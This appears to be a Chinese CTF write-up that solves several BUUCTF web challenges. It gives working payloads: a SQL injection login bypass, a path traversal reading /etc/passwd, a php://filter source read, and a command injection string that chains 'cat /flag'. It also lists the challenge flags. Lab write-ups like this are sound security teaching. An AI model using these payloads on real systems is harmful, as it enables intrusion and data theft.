> 文章列表 > BUUCTF--Web篇详细wp

BUUCTF--Web篇详细wp

BUUCTF--Web篇详细wp

BUUCTF--Web篇详细wp

    • [极客大挑战 2019]EasySQL
    • [极客大挑战 2019]Havefun
    • [HCTF 2018]WarmUp
    • [ACTF2020 新生赛]Include
    • [ACTF2020 新生赛]Exec
    • [强网杯 2019]随便注

CTF平台:https://buuoj.cn/

[极客大挑战 2019]EasySQL

使用万能密码登入即可。

1'or'1'='1  #万能密码(注意是英文小写)  

BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp

flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76}

[极客大挑战 2019]Havefun

F12查看源代码 发现是PHP代码审计(小猫挺可爱呢~)

BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp

<!--$cat=$_GET['cat'];echo $cat;if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';}-->

传了一个变量 然后是GET请求 如果cat=dog 就会输出 flag 构造Payload:/?cat=dog

BUUCTF--Web篇详细wp

flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}

[HCTF 2018]WarmUp

打开网页看到滑稽图 直接F12 然后访问这个敏感信息 source.php 直接看源码

BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";}  
?> 

BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp

flag{313235c5-75b2-4e8a-b225-8e7413865bc7}

[ACTF2020 新生赛]Include

BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp
这里我们看到了?file=flag.php我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息

文件包含分为本地文件包含 和 远程文件包含(php.ini可以进行配置)

allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow_url_include=On/Off 远程文件包含(RFI)

常见的文件包含 函数:PHP:include()、include_once()、require()、require_once()

  • Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
  • Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
  • Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

用法:?file=../../../../../../../../../../../../../../../../etc/passwd

PHP伪协议:

  • php://filter 用于读取源码
  • php://input 用于执行php代码

php://filter使用:

 php://filter/read=convert.base64-encode/resource=xxx  # 用base64编码的方式来读文件flag.php

Payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php 然后Base64解码就可以得到flag

BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp

flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}

[ACTF2020 新生赛]Exec

BUUCTF--Web篇详细wp
简单的命令执行 : 127.0.0.1 || cat /flag 即可得到flag

BUUCTF--Web篇详细wp

flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}

[强网杯 2019]随便注

输入1,2 输入3的时候发现报错了 说明只有两个字段
BUUCTF--Web篇详细wp
BUUCTF--Web篇详细wp